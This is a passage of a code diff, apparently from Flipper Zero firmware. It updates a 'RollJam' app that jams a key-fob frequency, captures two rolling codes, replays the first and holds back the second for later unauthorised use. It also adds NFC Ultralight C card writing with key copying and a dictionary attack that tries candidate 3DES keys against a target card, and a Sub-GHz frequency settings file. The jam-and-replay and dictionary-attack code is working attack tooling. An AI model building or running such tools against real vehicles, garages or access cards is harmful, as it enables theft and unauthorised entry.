app->signal_second.valid = false;
|
||||
|
||||
// Stop previous capture if any
|
||||
rolljam_capture_stop(app);
|
||||
|
||||
// Small delay to let radio settle
|
||||
furi_delay_ms(50);
|
||||
|
||||
// Start fresh capture for second signal
|
||||
rolljam_capture_start(app);
|
||||
|
||||
notification_message(app->notification, &sequence_blink_yellow_100);
|
||||
@@ -72,19 +63,30 @@ bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventSignalCaptured) {
|
||||
notification_message(app->notification, &sequence_success);
|
||||
|
||||
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
|
||||
app->signal_second.size);
|
||||
|
||||
rolljam_capture_stop(app);
|
||||
|
||||
scene_manager_next_scene(
|
||||
app->scene_manager, RollJamSceneAttackPhase3);
|
||||
if(!rolljam_signal_is_valid(&app->signal_second)) {
|
||||
FURI_LOG_W(TAG, "Phase2: false capture, restarting RX...");
|
||||
app->signal_second.size = 0;
|
||||
app->signal_second.valid = false;
|
||||
furi_delay_ms(50);
|
||||
rolljam_capture_start(app);
|
||||
return true;
|
||||
}
|
||||
|
||||
rolljam_signal_cleanup(&app->signal_second);
|
||||
app->signal_second.valid = true;
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
|
||||
(int)app->signal_second.size);
|
||||
|
||||
rolljam_capture_stop(app);
|
||||
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase3);
|
||||
return true;
|
||||
}
|
||||
} else if(event.type == SceneManagerEventTypeBack) {
|
||||
FURI_LOG_I(TAG, "Phase2: cancelled by user");
|
||||
FURI_LOG_I(TAG, "Phase2: cancelled");
|
||||
rolljam_capture_stop(app);
|
||||
rolljam_jammer_stop(app);
|
||||
scene_manager_search_and_switch_to_another_scene(
|
||||
|
||||
@@ -10,7 +10,6 @@
|
||||
void rolljam_scene_attack_phase3_on_enter(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
// UI
|
||||
widget_reset(app->widget);
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 2, AlignCenter, AlignTop,
|
||||
@@ -28,23 +27,18 @@ void rolljam_scene_attack_phase3_on_enter(void* context) {
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewWidget);
|
||||
|
||||
// LED: green
|
||||
notification_message(app->notification, &sequence_blink_green_100);
|
||||
|
||||
// 1) Stop the jammer
|
||||
rolljam_jammer_stop(app);
|
||||
|
||||
// Wait for jammer thread to fully stop and radio to settle
|
||||
furi_delay_ms(1000);
|
||||
|
||||
// 2) Transmit first captured signal via internal CC1101
|
||||
rolljam_transmit_signal(app, &app->signal_first);
|
||||
|
||||
FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
|
||||
// Brief display then advance
|
||||
furi_delay_ms(800);
|
||||
|
||||
view_dispatcher_send_custom_event(
|
||||
|
||||
@@ -4,43 +4,68 @@
|
||||
// Menu scene: select frequency, modulation, start attack
|
||||
// ============================================================
|
||||
|
||||
static uint8_t get_min_offset_index(uint8_t mod_index) {
|
||||
if(mod_index == ModIndex_AM270) return JamOffIndex_1000k;
|
||||
return JamOffIndex_300k;
|
||||
}
|
||||
|
||||
static void enforce_min_offset(RollJamApp* app, VariableItem* offset_item) {
|
||||
uint8_t min_idx = get_min_offset_index(app->mod_index);
|
||||
if(app->jam_offset_index < min_idx) {
|
||||
app->jam_offset_index = min_idx;
|
||||
app->jam_offset_hz = jam_offset_values[min_idx];
|
||||
if(offset_item) {
|
||||
variable_item_set_current_value_index(offset_item, min_idx);
|
||||
variable_item_set_current_value_text(offset_item, jam_offset_names[min_idx]);
|
||||
}
|
||||
FURI_LOG_I(TAG, "Menu: offset ajustado a %s para AM270",
|
||||
jam_offset_names[min_idx]);
|
||||
}
|
||||
}
|
||||
|
||||
static VariableItem* s_offset_item = NULL;
|
||||
|
||||
static void menu_freq_changed(VariableItem* item) {
|
||||
RollJamApp* app = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
|
||||
app->freq_index = index;
|
||||
app->frequency = freq_values[index];
|
||||
app->frequency = freq_values[index];
|
||||
variable_item_set_current_value_text(item, freq_names[index]);
|
||||
}
|
||||
|
||||
static void menu_mod_changed(VariableItem* item) {
|
||||
RollJamApp* app = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
|
||||
app->mod_index = index;
|
||||
variable_item_set_current_value_text(item, mod_names[index]);
|
||||
|
||||
enforce_min_offset(app, s_offset_item);
|
||||
}
|
||||
|
||||
static void menu_jam_offset_changed(VariableItem* item) {
|
||||
RollJamApp* app = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
|
||||
uint8_t min_idx = get_min_offset_index(app->mod_index);
|
||||
if(index < min_idx) {
|
||||
index = min_idx;
|
||||
variable_item_set_current_value_index(item, index);
|
||||
}
|
||||
|
||||
app->jam_offset_index = index;
|
||||
app->jam_offset_hz = jam_offset_values[index];
|
||||
app->jam_offset_hz = jam_offset_values[index];
|
||||
variable_item_set_current_value_text(item, jam_offset_names[index]);
|
||||
}
|
||||
|
||||
static void menu_hw_changed(VariableItem* item) {
|
||||
RollJamApp* app = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
|
||||
app->hw_index = index;
|
||||
variable_item_set_current_value_text(item, hw_names[index]);
|
||||
}
|
||||
|
||||
static void menu_enter_callback(void* context, uint32_t index) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(index == 4) {
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventStartAttack);
|
||||
@@ -72,12 +97,17 @@ void rolljam_scene_menu_on_enter(void* context) {
|
||||
variable_item_set_current_value_index(mod_item, app->mod_index);
|
||||
variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
|
||||
|
||||
// --- Jam Offset ---
|
||||
VariableItem* offset_item = variable_item_list_add(
|
||||
app->var_item_list,
|
||||
"Jam Offset",
|
||||
JamOffIndex_COUNT,
|
||||
menu_jam_offset_changed,
|
||||
app);
|
||||
|
||||
s_offset_item = offset_item;
|
||||
enforce_min_offset(app, offset_item);
|
||||
|
||||
variable_item_set_current_value_index(offset_item, app->jam_offset_index);
|
||||
variable_item_set_current_value_text(offset_item, jam_offset_names[app->jam_offset_index]);
|
||||
|
||||
@@ -111,8 +141,9 @@ bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventStartAttack) {
|
||||
// Clear previous captures
|
||||
memset(&app->signal_first, 0, sizeof(RawSignal));
|
||||
enforce_min_offset(app, NULL);
|
||||
|
||||
memset(&app->signal_first, 0, sizeof(RawSignal));
|
||||
memset(&app->signal_second, 0, sizeof(RawSignal));
|
||||
|
||||
scene_manager_next_scene(
|
||||
@@ -125,5 +156,6 @@ bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
|
||||
|
||||
void rolljam_scene_menu_on_exit(void* context) {
|
||||
RollJamApp* app = context;
|
||||
s_offset_item = NULL;
|
||||
variable_item_list_reset(app->var_item_list);
|
||||
}
|
||||
|
||||
@@ -48,7 +48,7 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventSaveSignal) {
|
||||
// Save to .sub file
|
||||
|
||||
rolljam_save_signal(app, &app->signal_second);
|
||||
|
||||
popup_reset(app->popup);
|
||||
@@ -68,7 +68,7 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
|
||||
return true;
|
||||
|
||||
} else if(event.event == RollJamEventReplayNow) {
|
||||
// Show sending screen
|
||||
|
||||
popup_reset(app->popup);
|
||||
popup_set_header(
|
||||
app->popup, "Transmitting...",
|
||||
@@ -79,7 +79,6 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewPopup);
|
||||
|
||||
// Transmit second signal
|
||||
rolljam_transmit_signal(app, &app->signal_second);
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
|
||||
@@ -14,7 +14,9 @@ enum {
|
||||
SubmenuIndexUnlock = SubmenuIndexCommonMax,
|
||||
SubmenuIndexUnlockByReader,
|
||||
SubmenuIndexUnlockByPassword,
|
||||
SubmenuIndexDictAttack
|
||||
SubmenuIndexDictAttack,
|
||||
SubmenuIndexWriteKeepKey, // ULC: write data pages, keep target card's existing key
|
||||
SubmenuIndexWriteCopyKey, // ULC: write all pages including key from source card
|
||||
};
|
||||
|
||||
enum {
|
||||
@@ -214,8 +216,26 @@ static void nfc_scene_read_and_saved_menu_on_enter_mf_ultralight(NfcApp* instanc
|
||||
if(is_locked ||
|
||||
(data->type != MfUltralightTypeNTAG213 && data->type != MfUltralightTypeNTAG215 &&
|
||||
data->type != MfUltralightTypeNTAG216 && data->type != MfUltralightTypeUL11 &&
|
||||
data->type != MfUltralightTypeUL21 && data->type != MfUltralightTypeOrigin)) {
|
||||
data->type != MfUltralightTypeUL21 && data->type != MfUltralightTypeOrigin &&
|
||||
data->type != MfUltralightTypeMfulC)) {
|
||||
submenu_remove_item(submenu, SubmenuIndexCommonWrite);
|
||||
} else if(data->type == MfUltralightTypeMfulC) {
|
||||
// Replace the generic Write item with two ULC-specific options so the user
|
||||
// can choose whether to keep or overwrite the target card's 3DES key.
|
||||
// This avoids any mid-write dialog/view-switching complexity entirely.
|
||||
submenu_remove_item(submenu, SubmenuIndexCommonWrite);
|
||||
submenu_add_item(
|
||||
submenu,
|
||||
"Write (Keep Key)",
|
||||
SubmenuIndexWriteKeepKey,
|
||||
nfc_protocol_support_common_submenu_callback,
|
||||
instance);
|
||||
submenu_add_item(
|
||||
submenu,
|
||||
"Write (Copy Key)",
|
||||
SubmenuIndexWriteCopyKey,
|
||||
nfc_protocol_support_common_submenu_callback,
|
||||
instance);
|
||||
}
|
||||
|
||||
if(is_locked) {
|
||||
@@ -291,6 +311,14 @@ static bool nfc_scene_read_and_saved_menu_on_event_mf_ultralight(
|
||||
scene_manager_next_scene(instance->scene_manager, NfcSceneMfUltralightCDictAttack);
|
||||
}
|
||||
consumed = true;
|
||||
} else if(event.event == SubmenuIndexWriteKeepKey) {
|
||||
instance->mf_ultralight_c_write_context.copy_key = false;
|
||||
scene_manager_next_scene(instance->scene_manager, NfcSceneWrite);
|
||||
consumed = true;
|
||||
} else if(event.event == SubmenuIndexWriteCopyKey) {
|
||||
instance->mf_ultralight_c_write_context.copy_key = true;
|
||||
scene_manager_next_scene(instance->scene_manager, NfcSceneWrite);
|
||||
consumed = true;
|
||||
}
|
||||
}
|
||||
return consumed;
|
||||
@@ -307,12 +335,139 @@ static NfcCommand
|
||||
if(mf_ultralight_event->type == MfUltralightPollerEventTypeRequestMode) {
|
||||
mf_ultralight_event->data->poller_mode = MfUltralightPollerModeWrite;
|
||||
furi_string_reset(instance->text_box_store);
|
||||
if(instance->mf_ultralight_c_dict_context.dict) {
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
}
|
||||
instance->mf_ultralight_c_dict_context.dict = NULL;
|
||||
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
|
||||
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventCardDetected);
|
||||
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeAuthRequest) {
|
||||
// Skip auth during the read phase of write - we'll authenticate
|
||||
// against the target card in RequestWriteData using source key or dict attack
|
||||
mf_ultralight_event->data->auth_context.skip_auth = true;
|
||||
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeRequestKey) {
|
||||
// Dict attack key provider - user dict first, then system dict
|
||||
if(!instance->mf_ultralight_c_dict_context.dict &&
|
||||
instance->mf_ultralight_c_write_context.dict_state == NfcMfUltralightCWriteDictIdle) {
|
||||
if(keys_dict_check_presence(NFC_APP_MF_ULTRALIGHT_C_DICT_USER_PATH)) {
|
||||
instance->mf_ultralight_c_dict_context.dict = keys_dict_alloc(
|
||||
NFC_APP_MF_ULTRALIGHT_C_DICT_USER_PATH,
|
||||
KeysDictModeOpenExisting,
|
||||
sizeof(MfUltralightC3DesAuthKey));
|
||||
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictUser;
|
||||
}
|
||||
if(!instance->mf_ultralight_c_dict_context.dict) {
|
||||
instance->mf_ultralight_c_dict_context.dict = keys_dict_alloc(
|
||||
NFC_APP_MF_ULTRALIGHT_C_DICT_SYSTEM_PATH,
|
||||
KeysDictModeOpenExisting,
|
||||
sizeof(MfUltralightC3DesAuthKey));
|
||||
instance->mf_ultralight_c_write_context.dict_state =
|
||||
NfcMfUltralightCWriteDictSystem;
|
||||
}
|
||||
}
|
||||
MfUltralightC3DesAuthKey key = {};
|
||||
bool got_key = false;
|
||||
if(instance->mf_ultralight_c_dict_context.dict) {
|
||||
got_key = keys_dict_get_next_key(
|
||||
instance->mf_ultralight_c_dict_context.dict,
|
||||
key.data,
|
||||
sizeof(MfUltralightC3DesAuthKey));
|
||||
}
|
||||
if(!got_key &&
|
||||
instance->mf_ultralight_c_write_context.dict_state == NfcMfUltralightCWriteDictUser) {
|
||||
// Exhausted user dict, switch to system dict
|
||||
if(instance->mf_ultralight_c_dict_context.dict) {
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
}
|
||||
instance->mf_ultralight_c_dict_context.dict = keys_dict_alloc(
|
||||
NFC_APP_MF_ULTRALIGHT_C_DICT_SYSTEM_PATH,
|
||||
KeysDictModeOpenExisting,
|
||||
sizeof(MfUltralightC3DesAuthKey));
|
||||
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictSystem;
|
||||
if(instance->mf_ultralight_c_dict_context.dict) {
|
||||
got_key = keys_dict_get_next_key(
|
||||
instance->mf_ultralight_c_dict_context.dict,
|
||||
key.data,
|
||||
sizeof(MfUltralightC3DesAuthKey));
|
||||
}
|
||||
}
|
||||
if(got_key) {
|
||||
mf_ultralight_event->data->key_request_data.key = key;
|
||||
mf_ultralight_event->data->key_request_data.key_provided = true;
|
||||
FURI_LOG_D(
|
||||
"MfULC",
|
||||
"Trying dict key: "
|
||||
"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
|
||||
key.data[0],
|
||||
key.data[1],
|
||||
key.data[2],
|
||||
key.data[3],
|
||||
key.data[4],
|
||||
key.data[5],
|
||||
key.data[6],
|
||||
key.data[7],
|
||||
key.data[8],
|
||||
key.data[9],
|
||||
key.data[10],
|
||||
key.data[11],
|
||||
key.data[12],
|
||||
key.data[13],
|
||||
key.data[14],
|
||||
key.data[15]);
|
||||
} else {
|
||||
mf_ultralight_event->data->key_request_data.key_provided = false;
|
||||
FURI_LOG_D("MfULC", "Dict exhausted - no more keys");
|
||||
if(instance->mf_ultralight_c_dict_context.dict) {
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
instance->mf_ultralight_c_dict_context.dict = NULL;
|
||||
}
|
||||
instance->mf_ultralight_c_write_context.dict_state =
|
||||
NfcMfUltralightCWriteDictExhausted;
|
||||
}
|
||||
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeRequestWriteData) {
|
||||
mf_ultralight_event->data->write_data =
|
||||
nfc_device_get_data(instance->nfc_device, NfcProtocolMfUltralight);
|
||||
// Reset dict context so RequestKey starts fresh for the write-phase auth
|
||||
if(instance->mf_ultralight_c_dict_context.dict) {
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
instance->mf_ultralight_c_dict_context.dict = NULL;
|
||||
}
|
||||
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
|
||||
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeWriteKeyRequest) {
|
||||
// Apply the user's key choice - read from static, not scene state (scene manager
|
||||
// resets state to 0 on scene entry, wiping any value set before next_scene).
|
||||
bool keep_key = !instance->mf_ultralight_c_write_context.copy_key;
|
||||
mf_ultralight_event->data->write_key_skip = keep_key;
|
||||
|
||||
if(mf_ultralight_event->data->key_request_data.key_provided) {
|
||||
MfUltralightC3DesAuthKey found_key = mf_ultralight_event->data->key_request_data.key;
|
||||
FURI_LOG_D(
|
||||
"MfULC",
|
||||
"WriteKeyRequest: target key = "
|
||||
"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
|
||||
found_key.data[0],
|
||||
found_key.data[1],
|
||||
found_key.data[2],
|
||||
found_key.data[3],
|
||||
found_key.data[4],
|
||||
found_key.data[5],
|
||||
found_key.data[6],
|
||||
found_key.data[7],
|
||||
found_key.data[8],
|
||||
found_key.data[9],
|
||||
found_key.data[10],
|
||||
found_key.data[11],
|
||||
found_key.data[12],
|
||||
found_key.data[13],
|
||||
found_key.data[14],
|
||||
found_key.data[15]);
|
||||
}
|
||||
FURI_LOG_D(
|
||||
"MfULC",
|
||||
"WriteKeyRequest: decision = %s (copy_key=%d)",
|
||||
keep_key ? "KEEP target key (pages 44-47 NOT written)" :
|
||||
"OVERWRITE with source key (pages 44-47 WILL be written)",
|
||||
(int)instance->mf_ultralight_c_write_context.copy_key);
|
||||
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeCardMismatch) {
|
||||
furi_string_set(instance->text_box_store, "Card of the same\ntype should be\n presented");
|
||||
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventWrongCard);
|
||||
@@ -323,6 +478,7 @@ static NfcCommand
|
||||
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventPollerFailure);
|
||||
command = NfcCommandStop;
|
||||
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeWriteFail) {
|
||||
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventPollerFailure);
|
||||
command = NfcCommandStop;
|
||||
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeWriteSuccess) {
|
||||
furi_string_reset(instance->text_box_store);
|
||||
@@ -334,9 +490,18 @@ static NfcCommand
|
||||
}
|
||||
|
||||
static void nfc_scene_write_on_enter_mf_ultralight(NfcApp* instance) {
|
||||
// Free any dict the write callback opened (dict_state != Idle means we own it).
|
||||
// After a DictAttack scene, on_exit now NULLs the pointer so a simple NULL check
|
||||
// is safe here too — but the state enum is the authoritative ownership record.
|
||||
if(instance->mf_ultralight_c_write_context.dict_state != NfcMfUltralightCWriteDictIdle &&
|
||||
instance->mf_ultralight_c_dict_context.dict) {
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
}
|
||||
instance->mf_ultralight_c_dict_context.dict = NULL;
|
||||
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
|
||||
furi_string_set(instance->text_box_store, "\nApply the\ntarget\ncard now");
|
||||
instance->poller = nfc_poller_alloc(instance->nfc, NfcProtocolMfUltralight);
|
||||
nfc_poller_start(instance->poller, nfc_scene_write_poller_callback_mf_ultralight, instance);
|
||||
furi_string_set(instance->text_box_store, "Apply the initial\ncard only");
|
||||
}
|
||||
|
||||
const NfcProtocolSupportBase nfc_protocol_support_mf_ultralight = {
|
||||
|
||||
@@ -126,6 +126,18 @@ typedef struct {
|
||||
size_t dict_keys_current;
|
||||
} NfcMfUltralightCDictContext;
|
||||
|
||||
typedef enum {
|
||||
NfcMfUltralightCWriteDictIdle, /**< No dict open; safe to open either dict. */
|
||||
NfcMfUltralightCWriteDictUser, /**< User dict currently open. */
|
||||
NfcMfUltralightCWriteDictSystem, /**< System dict currently open. */
|
||||
NfcMfUltralightCWriteDictExhausted, /**< All dicts tried; do not re-open. */
|
||||
} NfcMfUltralightCWriteDictState;
|
||||
|
||||
typedef struct {
|
||||
bool copy_key; /**< True = overwrite target 3DES key with source key pages. */
|
||||
NfcMfUltralightCWriteDictState dict_state; /**< Which dict is open for write-phase auth. */
|
||||
} NfcMfUltralightCWriteContext;
|
||||
|
||||
struct NfcApp {
|
||||
DialogsApp* dialogs;
|
||||
Storage* storage;
|
||||
@@ -165,6 +177,7 @@ struct NfcApp {
|
||||
SlixUnlock* slix_unlock;
|
||||
NfcMfClassicDictAttackContext nfc_dict_context;
|
||||
NfcMfUltralightCDictContext mf_ultralight_c_dict_context;
|
||||
NfcMfUltralightCWriteContext mf_ultralight_c_write_context;
|
||||
Mfkey32Logger* mfkey32_logger;
|
||||
MfUserDict* mf_user_dict;
|
||||
MfClassicKeyCache* mfc_key_cache;
|
||||
|
||||
@@ -77,6 +77,15 @@ void nfc_scene_mf_ultralight_c_dict_attack_prepare_view(NfcApp* instance) {
|
||||
// Set attack type to Ultralight C
|
||||
dict_attack_set_type(instance->dict_attack, DictAttackTypeMfUltralightC);
|
||||
|
||||
// Guard: if a previous write phase left a dict handle open, close it now.
|
||||
// Without this, navigating write->back->read->dict-attack would open the same
|
||||
// file twice, corrupting VFS state and causing a ViewPort lockup.
|
||||
if(instance->mf_ultralight_c_dict_context.dict) {
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
instance->mf_ultralight_c_dict_context.dict = NULL;
|
||||
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
|
||||
}
|
||||
|
||||
if(state == DictAttackStateUserDictInProgress) {
|
||||
do {
|
||||
if(!keys_dict_check_presence(NFC_APP_MF_ULTRALIGHT_C_DICT_USER_PATH)) {
|
||||
@@ -167,6 +176,7 @@ bool nfc_scene_mf_ultralight_c_dict_attack_on_event(void* context, SceneManagerE
|
||||
nfc_poller_stop(instance->poller);
|
||||
nfc_poller_free(instance->poller);
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
instance->mf_ultralight_c_dict_context.dict = NULL;
|
||||
scene_manager_set_scene_state(
|
||||
instance->scene_manager,
|
||||
NfcSceneMfUltralightCDictAttack,
|
||||
@@ -199,6 +209,7 @@ bool nfc_scene_mf_ultralight_c_dict_attack_on_event(void* context, SceneManagerE
|
||||
nfc_poller_stop(instance->poller);
|
||||
nfc_poller_free(instance->poller);
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
instance->mf_ultralight_c_dict_context.dict = NULL;
|
||||
scene_manager_set_scene_state(
|
||||
instance->scene_manager,
|
||||
NfcSceneMfUltralightCDictAttack,
|
||||
@@ -230,6 +241,7 @@ void nfc_scene_mf_ultralight_c_dict_attack_on_exit(void* context) {
|
||||
NfcSceneMfUltralightCDictAttack,
|
||||
DictAttackStateUserDictInProgress);
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
instance->mf_ultralight_c_dict_context.dict = NULL;
|
||||
instance->mf_ultralight_c_dict_context.dict_keys_total = 0;
|
||||
instance->mf_ultralight_c_dict_context.dict_keys_current = 0;
|
||||
instance->mf_ultralight_c_dict_context.auth_success = false;
|
||||
|
||||
@@ -58,6 +58,7 @@ typedef enum {
|
||||
SubGhzCustomEventViewTransmitterSendStart,
|
||||
SubGhzCustomEventViewTransmitterSendStop,
|
||||
SubGhzCustomEventViewTransmitterError,
|
||||
SubGhzCustomEventViewTransmitterPageChange,
|
||||
|
||||
SubGhzCustomEventViewFreqAnalOkShort,
|
||||
SubGhzCustomEventViewFreqAnalOkLong,
|
||||
|
||||
121
applications/main/subghz/resources/subghz/assets/setting_user
Normal file
@@ -0,0 +1,121 @@
|
||||
# to use manual settings and prevent them from being deleted on upgrade, rename *_user.example files to *_user
|
||||
Filetype: Flipper SubGhz Setting File
|
||||
Version: 1
|
||||
# Add Standard frequencies included with firmware and place user frequencies after them
|
||||
#Add_standard_frequencies: false
|
||||
|
||||
# Default Frequency: used as default for "Read" and "Read Raw"
|
||||
#Default_frequency: 433920000
|
||||
|
||||
# Frequencies used for "Read", "Read Raw" and "Frequency Analyzer"
|
||||
Frequency: 300000000
|
||||
Frequency: 302757000
|
||||
Frequency: 303000000
|
||||
Frequency: 303875000
|
||||
Frequency: 303900000
|
||||
Frequency: 304250000
|
||||
Frequency: 307000000
|
||||
Frequency: 307500000
|
||||
Frequency: 307800000
|
||||
Frequency: 309000000
|
||||
Frequency: 310000000
|
||||
Frequency: 312000000
|
||||
Frequency: 312100000
|
||||
Frequency: 312200000
|
||||
Frequency: 313000000
|
||||
Frequency: 313850000
|
||||
Frequency: 314000000
|
||||
Frequency: 314350000
|
||||
Frequency: 314980000
|
||||
Frequency: 315000000
|
||||
Frequency: 318000000
|
||||
Frequency: 320000000
|
||||
Frequency: 320150000
|
||||
Frequency: 330000000
|
||||
Frequency: 345000000
|
||||
Frequency: 348000000
|
||||
Frequency: 350000000
|
||||
Frequency: 387000000
|
||||
Frequency: 390000000
|
||||
Frequency: 418000000
|
||||
Frequency: 430000000
|
||||
Frequency: 430500000
|
||||
Frequency: 431000000
|
||||
Frequency: 431500000
|
||||
Frequency: 433075000
|
||||
Frequency: 433220000
|
||||
Frequency: 433420000
|
||||
Frequency: 433657070
|
||||
Frequency: 433880000
|
||||
Frequency: 433889000
|
||||
Frequency: 433900000
|
||||
Frequency: 433910000
|
||||
Frequency: 433920000
|
||||
Frequency: 433930000
|
||||
Frequency: 433940000
|
||||
Frequency: 433950000
|
||||
Frequency: 433960000
|
||||
Frequency: 434075000
|
||||
Frequency: 434176948
|
||||
Frequency: 434190000
|
||||
Frequency: 434390000
|
||||
Frequency: 434420000
|
||||
Frequency: 434620000
|
||||
Frequency: 434775000
|
||||
Frequency: 438900000
|
||||
Frequency: 440175000
|
||||
Frequency: 462750000
|
||||
Frequency: 464000000
|
||||
Frequency: 467750000
|
||||
Frequency: 779000000
|
||||
Frequency: 868350000
|
||||
Frequency: 868400000
|
||||
Frequency: 868460000
|
||||
Frequency: 868800000
|
||||
Frequency: 868950000
|
||||
Frequency: 906400000
|
||||
Frequency: 915000000
|
||||
Frequency: 925000000
|
||||
Frequency: 928000000
|
||||
|
||||
# Frequencies used for hopping mode (keep this list small or flipper will miss signal)
|
||||
Hopper_frequency: 315000000
|
||||
Hopper_frequency: 433920000
|
||||
Hopper_frequency: 434420000
|
||||
Hopper_frequency: 868350000
|
||||
|
||||
# Presets used for preset hopping mode (cycles through these modulations)
|
||||
Hopping_Preset: AM650
|
||||
Hopping_Preset: FM476
|
||||
Hopping_Preset: FM95
|
||||
|
||||
# Custom preset
|
||||
# format for CC1101 "Custom_preset_data:" XX YY XX YY .. 00 00 ZZ ZZ ZZ ZZ ZZ ZZ ZZ ZZ, where: XX-register, YY - register data, 00 00 - end load register, ZZ - 8 byte Pa table register
|
||||
|
||||
Custom_preset_name: OOK_LR
|
||||
Custom_preset_module: CC1101
|
||||
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 F8 11 32 12 30 14 00 15 00 18 18 19 16 1B 07 1C 00 1D B1 20 FB 21 B6 22 11 00 00 00 C0 00 00 00 00 00 00
|
||||
|
||||
Custom_preset_name: OOK_U
|
||||
Custom_preset_module: CC1101
|
||||
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 F8 11 32 12 30 14 00 15 00 17 0C 18 18 19 16 1B 07 1C 00 1D B1 20 FB 21 B6 22 11 2C 81 2D 35 2E 09 00 00 00 C0 00 00 00 00 00 00
|
||||
|
||||
Custom_preset_name: AM_1
|
||||
Custom_preset_module: CC1101
|
||||
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 C9 11 F8 12 30 14 00 15 14 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 55 22 00 00 00 00 C0 00 00 00 00 00 00
|
||||
|
||||
Custom_preset_name: FSK_1
|
||||
Custom_preset_module: CC1101
|
||||
Custom_preset_data: 02 0D 03 47 08 32 0B 0C 10 C7 11 93 12 00 13 22 14 F8 15 35 18 18 19 1D 1B 04 1C 00 1D 92 20 FB 21 B6 22 17 00 00 12 0E 1D 34 60 84 C8 C0
|
||||
|
||||
Custom_preset_name: F3
|
||||
Custom_preset_module: CC1101
|
||||
Custom_preset_data: 02 0D 03 47 08 32 0B 06 0C 00 0D 10 0D 0D 10 C5 11 83 12 80 13 22 14 F8 15 42 16 07 17 30 18 18 19 1D 1A 1C 1B 43 1C 40 1D 91 20 FB 21 B6 22 00 23 E9 24 2A 25 00 26 1F 2C 81 2D 35 2E 09 00 00 12 0E 1D 34 60 84 C8 C0
|
||||
|
||||
Custom_preset_name: FM95
|
||||
Custom_preset_module: CC1101
|
||||
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 67 11 83 12 04 13 02 15 24 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 56 22 10 00 00 C0 00 00 00 00 00 00 00
|
||||
|
||||
Custom_preset_name: FM15k
|
||||
Custom_preset_module: CC1101
|
||||
Custom_preset_data: 02 0D 03 47 08 32 0B 06 10 A7 11 32 12 00 13 00 14 00 15 32 18 18 19 1D 1B 04 1C 00 1D 92 20 FB 21 B6 22 17 00 00 00 12 0E 34 60 C5 C1 C0
|
||||
@@ -1,47 +0,0 @@
|
||||
# to use manual settings and prevent them from being deleted on upgrade, rename *_user.example files to *_user
|
||||
Filetype: Flipper SubGhz Setting File
|
||||
Version: 1
|
||||
# Add Standard frequencies included with firmware and place user frequencies after them
|
||||
#Add_standard_frequencies: true
|
||||
|
||||
# Default Frequency: used as default for "Read" and "Read Raw"
|
||||
#Default_frequency: 433920000
|
||||
|
||||
